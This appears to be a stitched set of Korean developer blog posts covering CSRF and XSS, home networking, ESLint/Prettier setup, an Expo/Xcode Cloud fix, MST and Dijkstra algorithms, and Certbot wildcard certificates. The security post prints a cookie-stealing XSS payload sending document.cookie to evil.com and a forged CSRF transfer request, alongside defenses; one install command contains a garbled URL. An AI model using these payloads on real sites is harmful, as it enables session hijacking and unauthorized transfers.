CSRF (Cross Site Request Forgery)

  • 사용자가 자신의 의지와는 무관하게 공격자가 의도한 행위를 특정 사이트에 요청
  • 즉, 사용자가 의도하지 않은 요청을 특정 사이트에 전송하게 만듦

CSRF

예시: CSRF를 이용한 무단 송금

1. 사용자는 은행에 로그인

사용자가 브라우저에서 bank.com에 로그인하고 쿠키로 세션 유지

Cookie: session=abc123secure

2. 공격자가 악성 웹사이트 운영

  • 공격자는 자신이 운영하는 웹사이트 evil.com에 아래와 같은 html을 숨겨둠
<img src="https://bank.example.com/transfer?to=attacker&amount=10000000" />

3. 사용자가 evil.com에 접속

  • 사용자는 로그인된 상태로 evil.com에 접속
  • 브라우저는 <img src> 태그 자동실행
  • 요청에 쿠키를 자동으로 포함

4. 서버는 사용자의 요청으로 착각하고 송금

  • 서버는 세션 쿠키만으로 인증된 요청이라 판단
  • attacker 계좌로 이체실행

방어기법

사용자 측면

  • 의심되는 링크 접속하지 않기
  • 올바른 도메인인지 확인CSRF Token
  • 서버가 폼을 렌더링할 때, 무작위로 토큰을 숨겨서 함께 보내고,
  • 사용자가 폼을 제출할 때, 이 토큰을 같이 제출
  • 서버는 사용자가 제출한 폼의 토큰이 세션에 저장된 토큰과 일치하는지 확인
  • CSRF 토큰은 공격자가 알 수 없는 값이기 때문에, 사용자가 의도적으로 보낸 요청인지를 서버가 검증할 수 있음SameSite 속성
  • 크로스 사이트 요청에 쿠키를 아예 포함하지 않도록 저장속성 종류
    설명
    Strict 외부 사이트에서 온 모든 요청에 대해 쿠키 전송 안 함
    Lax (일반적으로 기본값) GET 요청은 허용, POST 등 민감한 요청엔 쿠키 전송 안 함
    None 모든 요청에 쿠키 전송 → Secure 속성 필수, 그렇지 않으면 브라우저에서 차단
    #### 예시  
    ```  
    Set-Cookie: sessionid=xyz123; SameSite=Strict; Secure; HttpOnly  
    ```  

Referer / Origin 헤더 검사

  • 요청의 Origin 혹은 Referer 값을 확인해서 신뢰할 수 있는 출처에서 온 요청인지 판단
if request.headers["Origin"] != "https://yourdomain.com":
    return 403  # Forbidden

XSS (Cross Site Scripting)

  • 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법

XSS

XSS 종류

종류 설명
Stored XSS 서버에 저장된 콘텐츠에 악성 스크립트 저장
Reflected XSS URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨
DOM-based XSS 클라이언트 측 JS가 악성 입력을 DOM에 반영

Stored XSS

서버에 저장된 콘텐츠에 악성 스크립트 저장

예시: 커뮤니티 사이트

1. 취약한 게시판

  • 사용자가 글을 작성
  • 서버가 사용자의 입력을 저장할 때, <script> 태그 필터링을 안 함

2. 공격자가 글 작성

  • 공격자가 아래처럼 악성 사이트에서 fetch하는 스크립트를 삽입하여 게시글 작성
    <script>fetch("https://evil.com/steal?cookie=" + document.cookie)</script>

3. 다른 사용자가 그 게시글 열람

  • 게시글을 선택하여 열람하기 위해 상세페이지를 열었을 때,
  • 서버가 스크립트를 그대로 응답에 포함시키고
  • 브라우저는 이를 그대로 실행

4. 피해자 쿠키 탈취

  • 로그인 세션 쿠키가 그대로 공격자의 서버로 전송됨

방어기법

  • 출력 이스케이프를 활용하여 <script> 같은 태그를 &lt;script&gt;로 바꾸기
  • CSP (Content Secure Policy): 외부 스크립트 차단 & 인라인 스크립트 차단

Reflected XSS

URL 파라미터 등에 삽입된 스크립트가 응답에 그대로 반영됨

예시: 검색 사이트

1. 사용자가 일반적으로 검색할 경우

요청: https://search.example.com?q=hello
응답: <p>You searched for: hello</p>

2. 사용자가 비정상적으로 검색할 경우

요청: https://search.example.com?q=<script>alert('XSS')</script>
응답: <p>You searched for: <script>alert('XSS')</script></p>

Reference

2025-03-22 00:03:22 작성


안녕하세요

오늘은 홈네트워크를 구성한 기념으로 구성기를 작성해보려 해요.

문제

기존의 네트워크 구조는 이렇게 되어 있었어요.

하지만, 이렇게 구성하면 각각의 공유기/허브가 다른 네트워크에 연결되어 있어 같은 집 안에서도 파일공유/프린트 등이 불편했어요.

이를 해결하고자 홈네트워크를 구성하기 시작했어요.

해결1: 모뎀 밑에 공유기 밑에 허브

모뎀 밑에 공유기를 두고, 공유기에 허브를 연결하면 모든 기기들을 같은 네트워크로 묶을 수 있어요.

하지만, 단자함에 공유기를 넣으면, 무선 품질이 많이 떨어져서 다른 방법을 생각해 보았어요.

대부분의 가정에서 모뎀 밑에 둘 공유기(1번 공유기라고 할게요)를 꽂을 인터넷 단자 옆에, 전화선을 꽂는 같은 규격의 단자가 있을 거예요.

전화선으로도 인터넷 연결을 해버리면 된답니다. (규격만 같은 줄 알았는데, 상관없더라고요)

즉,

모뎀(단자함) - 1번 공유기가 있는 방의 인터넷 단자(방) - 1번 공유기 - 1번 공유기가 있는 방의 전화 단자(방) - 허브(단자함)

이렇게 설치하면 가정 내의 벽면에 있는 모든 인터넷 단자가 공유기의 단자가 되는.. 그런 효과로 같은 네트워크로 묶여요!

...그런데 2번 공유기를 제외하고요.

해결2: 공유기 모드 설정

2번 공유기는, 공유기로써의 역할을 하기 위해서, 다시 DHCP 서버에서 IP를 할당하고.. 2번 공유기의 네트워크를 만들거예요.

이를 해결하기 위해서 공유기의 설정창에서

이렇게 공유기 모드가 아닌 AP모드로 바꿔주면, 상위 1번 공유기의 네트워크를 그대로 중계하는 역할만 수행하게 돼요.

아, 그리고 DHCP 서버도 1번 공유기만 사용하기 위해서, 2번 공유기의 DHCP는 꺼주세요!

해결3: 구형허브 교체

기존에 아파트에 설치되어 있던 허브는 10/100Mbps 허브였어요.

그런데, 저희 집에 들어오는 회선속도는 500Mbps예요.

그래서 모뎀 밑에 설치한 공유기에서만 500Mbps 속도가 나오고, 허브를 거쳐가는 순간 100Mbps로 속도가 떨어지는 문제가 발생했어요.

메인 1번 공유기의 속도측정

서브 2번 공유기의 속도측정

그래서, 1000Mbps까지도 지원하는 스위칭 허브를 새로 구매하여, 모든 포트를 연결해주고 CAT5 이하 규격의 랜케이블은 CAT5E 이상으로 교체해주었어요.

그랬더니 서브 공유기에서도 속도가 빨라졌답니다.

서브 2번 공유기 속도향상

혹시 홈네트워크를 구성하고 속도가 느리다면, 랜케이블 버전, 허브 지원 속도를 확인해주세요!

해결4(TODO): Mesh WiFi

이제 마지막 관문, Mesh WiFi를 구성해서 스마트폰/노트북을 방을 옮겨가면서 이용해도 끊김없이 와이파이로 이용할 수 있도록 하고자 해요.

Mesh를 쉽게 구성하기 위해서는 가급적 같은 제조사의 공유기를 추천해요.

하지만, 저는 아쉽게도 서로 다른 제조사의 공유기였기 때문에.. Mesh WiFi를 쓰는 것처럼만 하기로 했어요.

두 공유기의 SSID와 비밀번호를 똑같게 해주면, 자동으로 더 강한 와이파이로 연결을 바꿔주네요.

하지만, 완벽하게 같은 WiFi를 이용하는 것은 아니라는거..!

나중에 투자를 조금 더 한다면, 공유기를 바꿔서 해결해보기로 해요.

끝.

'네트워크' 카테고리의 다른 글

[SSL] Route53 + Certbot 와일드카드 인증서 발급  (0) 2025.05.03

2025-03-20 11:17:53


안녕하세요.

오늘은 NodeJS에 기반한 프로젝트들 (Express, React 등등)에서 사용되는 ESLint 관련 초기설정에 대해 다루려고 해요.

매번 찾아보기 귀찮아서, 게시물 형태로 남겨두려고 합니다.

ESLint 설치 및 초기화

먼저, ESLint를 다음 명령어로 설치하고, 초기화해줘요.

pnpm create @eslinhttps://t1.daumcdn.net/cfile/config/latest

실행하여 프로젝트에 질문들에 대답하면 이에 맞는 eslint.config.mjs 파일이 생성됩니다.

Prettier 설치

ESLint를 초기화 했다면, Prettier도 설치하고 초기설정을 해줘요.

다음의 명령어로 설치해요.

pnpm add prettier -D

Prettier 설치 후에

  • .prettierrc 파일 생성해서, {} 입력
  • .prettierignore 파일 생성해서 무시할 파일 작성

하면 prettier 초기화가 완료됩니다.

ESLint + Prettier 세팅

ESLint와 Prettier를 같이 사용하면 충돌하는 세팅이 생겨요.

이런 컨플릭트가 있는 세팅들을 무시해주는 역할을 담당하는 패키지들이예요.

pnpm add eslint-config-prettier eslint-plugin-prettier -D

eslint-config-prettier: Turns off all rules that are unnecessary or might conflict with Prettier.

eslint-plugin-prettier: Runs Prettier as an ESLint rule and reports differences as individual ESLint issues.

import eslintConfigPrettier from "eslint-config-prettier/flat";

export default [
  eslintConfigPrettier,
];
import eslintPluginPrettierRecommended from 'eslint-plugin-prettier/recommended';

export default [
  // Any other config imports go at the top
  eslintPluginPrettierRecommended,
];

Git Hook

husky, lint-staged 설치

pnpm add husky lint-staged -D
pnpm exec husky init
chmod +x .husky/pre-commit

.husky/precommit 에 자동으로 test 돌리는 스크립트를 넣나봅니다..
pnpm exec lint-staged 추가해줍니다.

pnpm test
pnpm exec lint-staged

create-react-app 에서 기본으로 설정된 pnpm test 스크립트는.. watch를 켜두기 때문에 husky에서 못넘어간다..
이럴 경우 "test": "react-scripts test --watchAll=false" 이런식으로 --watchAll=false 속성 지정해줄것

package.json에 스크립트 작성

{
  "lint-staged": {
    "**/*": [
      "prettier --cache --write --ignore-unknown",
      "eslint --cache --fix"
    ]
  },
}

React 참고: eslint config 추가설정..

.test.js 로 끝나는 jest 파일때문에 eslint에서 막힐 경우가 있다...
이는 ...globals.jest option 추가해줘서 해결

그리고, react-in-jsx-scope 역시 v17부터 필요없다.

import globals from "globals";
import pluginJs from "@eslint/js";
import tseslint from "typescript-eslint";
import pluginReact from "eslint-plugin-react";
import eslintConfigPrettier from "eslint-config-prettier/flat";
import eslintPluginPrettierRecommended from "eslint-plugin-prettier/recommended";

/** @type {import('eslint').Linter.Config[]} */
export default [
  { files: ["**/*.{js,mjs,cjs,ts,jsx,tsx}"] },
  {
    languageOptions: {
      globals: {
        ...globals.browser,
        ...globals.jest, // 이 부분
      },
    },
  },
  pluginJs.configs.recommended,
  ...tseslint.configs.recommended,
  pluginReact.configs.flat.recommended,
  {
    rules: {
      "react/react-in-jsx-scope": "off", // 이 부분
    },
  },
  eslintPluginPrettierRecommended,
  eslintConfigPrettier,
];

(2025-04-18) Update

Biome라는 기존의 ESLint + Prettier를 대체할 수 있는 유용한 패키지가 나왔어요.

기존 ESLint + Prettier에서의 Migration도 Seamless해요.

https://biomejs.dev

Reference

https://prettier.io/docs/install
https://eslint.org/docs/latest/use/getting-started
https://medium.com/@bkn020612/using-eslint-husky-lint-staged-6d6609b02fc2

#nodejs #react

문제

처음 발생한 문제..

Unable to load contents of file list

Unable to open base configuration reference file

ci_scripts 에서 node 설치 및 pod install 등 세팅 후 발생한 문제..

Command PhaseScriptExecution failed with a nonzero exit code
Error: GetEnv.NoBoolean: TRUE is not a boolean.

xcodebuild-archive.log 에서 문제 확인.. 아티팩트에서 다운로드 받아서 확인해볼 것

2025-03-13T07:21:02.373872728Z    Error: GetEnv.NoBoolean: TRUE is not a boolean.
2025-03-13T07:21:02.373875325Z    Error: GetEnv.NoBoolean: TRUE is not a boolean.
2025-03-13T07:21:02.373879721Z        at Object.boolish (/Volumes/workspace/repository/node_modules/getenv/index.js:70:15)
2025-03-13T07:21:02.373882796Z        at /Volumes/workspace/repository/node_modules/getenv/index.js:84:27
2025-03-13T07:21:02.373886057Z        at Env.CI (/Volumes/workspace/repository/node_modules/@expo/cli/src/utils/env.ts:41:19)
2025-03-13T07:21:02.373889392Z        at exportEmbedAsync (/Volumes/workspace/repository/node_modules/@expo/cli/src/export/embed/exportEmbedAsync.ts:75:11)
2025-03-13T07:21:02.373893487Z        at /Volumes/workspace/repository/node_modules/@expo/cli/src/export/embed/index.ts:106:12
2025-03-13T07:21:02.373897137Z    Command PhaseScriptExecution failed with a nonzero exit code

Expo cli 에서 사용하는 getenv 패키지에서 TRUE를 boolish로 판별하지 못하여 생기는 문제인 듯 하다.

CI를 Xcode에서 대문자 TRUE로 설정하는 듯.

해결방법

1. Clean Build

yarn cache clean
rm -rf node_modules yarn.lock ios android
yarn
yarn expo prebuild

2. Patch 설정

프로젝트 루트에 patches/getenv+1.0.0.patch 파일 생성 (폴더 포함 없으면 새로 생성)

내용은 다음과 같다.

diff --git a/node_modules/getenv/index.js b/node_modules/getenv/index.js
index 5e83c8f..ae1efd3 100644
--- a/node_modules/getenv/index.js
+++ b/node_modules/getenv/index.js
@@ -54,7 +54,7 @@ const convert = {
     return +value;
   },
   bool: function(value) {
-    const isBool = value === 'true' || value === 'false';
+    const isBool = value === 'true' || value === 'false' || value === 'TRUE' || value === 'FALSE';
     if (!isBool) {
       throw new Error('GetEnv.NoBoolean: ' + value + ' is not a boolean.');
     }
@@ -65,7 +65,7 @@ const convert = {
     try {
       return convert.bool(value);
     } catch (err) {
-      const isBool = value === '1' || value === '0';
+      const isBool = value === 'true' || value === 'false' || value === 'TRUE' || value === 'FALSE' || value === '1' || value === '0';
       if (!isBool) {
         throw new Error('GetEnv.NoBoolean: ' + value + ' is not a boolean.');
       }

3. ci_post_clone.sh

프로젝트 루트/ios/ci_scripts/ci_post_clone.sh 파일 생성 (폴더 포함 없으면 새로 생성)

내용은 다음과 같다.

#!/bin/sh

set -e
echo "Running ci_post_clone.sh"

cd ../../

brew install node cocoapods yarn
yarn
yarn add patch-package
npx patch-package

# xcode cloud sets `CI` env var to 'TRUE':
# This causes a crash: Error: GetEnv.NoBoolean: TRUE is not a boolean.
# This is a workaround for that issue.
CI="true" npx expo prebuild

cd ./ios
pod install

결과

드디어..!

Reference

https://www.richinfante.com/2024/11/18/running-expo-prebuild-in-xcode-cloud

백준 - 최소 스패닝 트리

Kruskal Algorithm

Greedy하게 가장 작은 cost를 가진 edge들을 선택하는 방법이다

def kruskal(V, E, EDGES):
    # Greedy: Kruskal selects minimum edges
    EDGES.sort(key=lambda x: x[2])
    parent = [i for i in range(V)]
    mst_cost = 0

    def find_parent_recursive(x):
        if parent[x] != x:
            parent[x] = find_parent_recursive(parent[x])
        return parent[x]

    def find_parent(x):
        while parent[x] != x:
            parent[x] = parent[parent[x]]  # 경로 압축
            x = parent[x]
        return x

    def union_parent(a, b):
        a = find_parent(a)
        b = find_parent(b)
        if a < b:
            parent[b] = a
        else:
            parent[a] = b

    for i in range(E):
        a, b, cost = EDGES[i]
        # 부모노드가 다를 경우.. 사이클이 발생하지 않으므로 MST에 포함
        if find_parent(a - 1) != find_parent(b - 1):
            union_parent(a - 1, b - 1)
            mst_cost += cost

    return mst_cost

V, E = map(int, input().split())
EDGES = [tuple(map(int, input().split())) for _ in range(E)]
# edge input: a, b, cost

print("Kruskal:", kruskal(V, E, EDGES))

Prim Algorithm

Dijkstra랑 비슷한느낌이다..
Priority Queue를 이용

Cycle은 생기지 않는다.. 그래서 Kruskal처럼 Union-Find 필요없음

# Prim Algorithm
from heapq import heappop as pop, heappush as push


def prim(V, E, EDGES):
    ADJ_EDGES = [[] for _ in range(V)]

    for edge in EDGES:
        ADJ_EDGES[edge[0] - 1].append((edge[2], edge[1] - 1))
        ADJ_EDGES[edge[1] - 1].append((edge[2], edge[0] - 1))

    pq = [(0, 0)]  # (cost, node)
    visited = [False] * V
    mst_cost = 0

    while pq:
        cost, vertex = pop(pq)
        if visited[vertex]:
            continue
        visited[vertex] = True
        mst_cost += cost

        for next_c, next_v in ADJ_EDGES[vertex]:
            if not visited[next_v]:
                push(pq, (next_c, next_v))

    return mst_cost


V, E = map(int, input().split())
EDGES = [tuple(map(int, input().split())) for _ in range(E)]
# edge input: a, b, cost

print("Prim", prim(V, E, EDGES))

'알고리즘' 카테고리의 다른 글

[Algorithm] Dijkstra  (0) 2025.05.03

예시

초기화

노드: (다른 노드, 거리)
1: (2, 7), (3, 9), (6, 14)
2: (1, 7), (3, 10), (4, 15)
3: (1, 9), (2, 10), (4, 11), (6, 2)
4: (2, 15), (3, 11), (5, 6)
5: (4, 6), (6, 9)
6: (1, 14), (3, 2), (5, 9)

Step by Step

편의상 distance 배열의 index는 1부터 시작한다고 하자.
Q는 Min Heap Priority Queue로, (cost, node)와 같이 저장한다.

초기상태

Q = [(0, 1)]
S = {}
distance = [0, inf, inf, inf, inf]

1단계: 노드 1 방문

Q = [(0, 1)]
S = {}

pop Q & add to S
S = {1}

인접 노드들 처리

  • 2번: distance[2] = inf > 7 → 업데이트 및 push
  • 3번: distance[3] = inf > 9 → 업데이트 및 push
  • 6번: distance[6] = inf > 14 → 업데이트 및 push

Q = [(7, 2), (9, 3), (14, 6)]
distance = [0, 7, 9, inf, inf, 14]

2단계: 노드 2 방문

Q = [(7, 2), (9, 3), (14, 6)]
S = {1}

pop Q & add to S
S = {1, 2}

인접 노드들 처리

  • 1번: 무시
  • 3번: distance[3] = 9 < 7 + 10 → 무시
  • 4번: distance[4] = inf < 7 + 15 = 22 → 업데이트 및 push

Q = [(9, 3), (14, 6), (22, 4)]
distance = [0, 7, 9, 22, inf, 14]

3단계: 노드 3 방문

Q = [(9, 3), (14, 6), (22, 4)]
S = {1, 2}

pop Q & add to S
S = {1, 2, 3}

인접 노드들 처리

  • 1번: 무시
  • 2번: 무시
  • 4번: distance[4] = 22 > 9 + 11 = 20 → 업데이트 및 push
  • 6번: distance[6] = 14 > 9 + 2 = 11 → 업데이트 및 push

Q = [(11, 6), (14, 6), (22, 4), (20, 4)]
distance = [0, 7, 9, 20, inf, 11]

4단계: 노드 6 방문

Q = [(11, 6), (14, 6), (22, 4), (20, 4)]
S = {1, 2, 3}

pop Q & add to S
S = {1, 2, 3, 6}

인접 노드들 처리

  • 1번: 무시
  • 3번: 무시
  • 5번: distance[5] = inf > 11 + 9 = 20 → 업데이트 및 push

Q = [(14, 6), (20, 4), (22, 4), (20, 5)]
distance = [0, 7, 9, 20, 20, 11]

5단계: 노드 6 다시 등장 (중복)

Q = [(14, 6), (20, 4), (22, 4), (20, 5)]
S = {1, 2, 3, 6}

pop Q & add to S → 이미 S에 존재하므로 무시

Q = [(20, 4), (20, 5), (22, 4)]

6단계: 노드 4 방문

Q = [(20, 4), (20, 5), (22, 4)]
S = {1, 2, 3, 6}

pop Q & add to S
S = {1, 2, 3, 4, 6}

인접 노드들 처리

  • 2번: 무시
  • 3번: 무시
  • 5번: distance[5] = 20 ≤ 20 + 6 = 26 → 무시

Q = [(20, 5), (22, 4)]
distance = [0, 7, 9, 20, 20, 11]

7단계: 노드 5 방문

Q = [(20, 5), (22, 4)]
S = {1, 2, 3, 4, 6}

pop Q & add to S
S = {1, 2, 3, 4, 5, 6}

인접 노드들 처리

  • 4번: 무시
  • 6번: 무시

Q = [(22, 4)]

8단계: 노드 4 중복 등장 → 무시

Q = [(22, 4)]
S = {1, 2, 3, 4, 5, 6}

pop Q → 이미 S에 있으므로 무시

단계별 실행 표

단계 방문 노드 Q 상태 S distance[]
1 1 [] {1} [0, 7, 9, inf, inf, 14]
2 2 [(9,3), (14,6), (22,4)] {1,2} [0, 7, 9, 22, inf, 14]
3 3 [(11,6), (14,6), (22,4), (20,4)] {1,2,3} [0, 7, 9, 20, inf, 11]
4 6 [(14,6), (20,4), (22,4), (20,5)] {1,2,3,6} [0, 7, 9, 20, 20, 11]
5 6 (중복) [(20,4), (20,5), (22,4)] {1,2,3,6} [0, 7, 9, 20, 20, 11]
6 4 [(20,5), (22,4)] {1,2,3,4,6} [0, 7, 9, 20, 20, 11]
7 5 [(22,4)] {1,2,3,4,5,6} [0, 7, 9, 20, 20, 11]
8 4 (중복) [] {1,2,3,4,5,6} [0, 7, 9, 20, 20, 11]

[코드] Dijkstra with Priority Queue

# Dijkstra Algorithm with Adjacent List and Priority Heap
# https://www.acmicpc.net/problem/1753

from math import inf
from heapq import heappush as push, heappop as pop

# 입력
V, E = map(int, input().split())
K = int(input()) - 1 # 시작 정점 번호
EDGES = [tuple(map(int, input().split())) for _ in range(E)]

# Adjacent List
ADJ_EDGES = [[] for _ in range(V)]

for edge in EDGES:
    ADJ_EDGES[edge[0] - 1].append((edge[2], edge[1] - 1))

# Distance
distance = [inf for _ in range(V)]
distance[K] = 0

# Priority Heap: 거리순으로 정렬
pq = []
push(pq, (0, K))

while pq:
    # 노드 방문
    cost, vertex = pop(pq)
    if distance[vertex] < cost:
        continue

    # 가장 작은 weight 가진 곳으로..
    for next_c, next_v in ADJ_EDGES[vertex]:
        cmp_distance = distance[vertex] + next_c
        if cmp_distance < distance[next_v]:
            distance[next_v] = cmp_distance
            push(pq, (cmp_distance, next_v))

print(*map(lambda x: str(x).upper(), distance), sep="\n")

'알고리즘' 카테고리의 다른 글

[Algorithm] MST: Kruskal & Prim  (0) 2025.05.03

플러그인 설치 및 Credential 설정

Certbot Route53 플러그인 설치

sudo apt-get update
sudo apt-get install python3-certbot-dns-route53

AWS IAM 사용자 생성

  1. AWS 콘솔의 IAM 서비스에서 새로운 사용자 생성하기 (ex. certbot)
  2. 액세스 키 생성
  3. 권한 설정 (AmazonRoute53FullAccess 권한)

AWS 자격 증명 파일 생성

mkdir -p ~/.aws
vi ~/.aws/credentials

~/.aws/credentials 에 발급받은 ACCESS_KEY의 ID와 SECRET_KEY를 아래와 같이 입력한다.

[default]
aws_access_key_id = YOUR_ACCESS_KEY_ID
aws_secret_access_key = YOUR_SECRET_ACCESS_KEY

보안 권한 설정

chmod 600 ~/.aws/credentials

인증서 발급

기존 인증서 삭제

혹시 기존 인증서가 있다면 삭제하자. (안해도 되지만.. clean하게..)

sudo certbot delete --cert-name parkjb.com

새로운 인증서 발급

sudo certbot certonly \
  --dns-route53 \
  -d parkjb.com \
  -d '*.parkjb.com'

certonly: 인증서만 발급하고, 웹 서버 설정은 변경하지 않는 옵션.. certonly 없이 자동으로 한다면 설정 올바르게 되었는지 확인해주기

에러?

Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com
Unable to locate credentials
To use certbot-dns-route53, configure credentials as described at https://boto3.readthedocs.io/en/latest/guide/configuration.html#best-practices-for-configuring-credentials and add the necessary permissions for Route53 access.
Ask for help or search for solutions at https://community.letsencrypt.org. See the logfile /var/log/letsencrypt/letsencrypt.log or re-run Certbot with -v for more details.

이런 에러가 뜬다면, Credential 정보를 못찾은 것이다.
~/.aws 폴더에 들어있는 Credential이 사용자의 홈 디렉토리에 있어서 발생하는 문제이다.
이럴때는 root에 ~/.aws 폴더를 옮겨주거나, 아래의 환경변수를 설정하고 다시 실행한다.

AWS_ACCESS_KEY_ID^API 참고
The access key for your AWS account.

AWS_SECRET_ACCESS_KEY^API 참고
The secret key for your AWS account.

결과

Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Requesting a certificate for parkjb.com and *.parkjb.com

Successfully received certificate.
Certificate is saved at: /etc/letsencrypt/live/parkjb.com/fullchain.pem
Key is saved at:         /etc/letsencrypt/live/parkjb.com/privkey.pem
This certificate expires on 2025-02-21.
These files will be updated when the certificate renews.
Certbot has set up a scheduled task to automatically renew this certificate in the background.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
If you like Certbot, please consider supporting our work by:
 * Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
 * Donating to EFF:                    https://eff.org/donate-le
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

굳.

마무리 설정 및 테스트

웹 서버 설정

server {
    listen 443 ssl;
    server_name parkjb.com *.parkjb.com;

    ssl_certificate /etc/letsencrypt/live/parkjb.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/parkjb.com/privkey.pem;

    # 나머지 설정...
}

이런식으로 ssl_certificate 경로 잡아주면 된다.
본인의 경우 이미 설정해둔 적이 있어서 Pass
설정 바꾸면 reload 진행할것

sudo systemctl reload nginx

자동 갱신을 위한 웹 서버 재시작 설정

sudo certbot renew --deploy-hook "systemctl reload nginx"

/etc/letsencrypt/renewal/parkjb.com.conf 파일에서 [renewalparams] nginx reloading 할 수 있도록 deploy-hook을 아래와 같이 추가해주자

deploy_hook = systemctl reload nginx

테스트

sudo certbot renew --dry-run

--dry-run은 실제 적용하지 않고 되는지 시뮬레이션하는 옵션

#Security #nginx #route53

'네트워크' 카테고리의 다른 글

홈네트워크 구성기  (0) 2025.05.03

+ Recent posts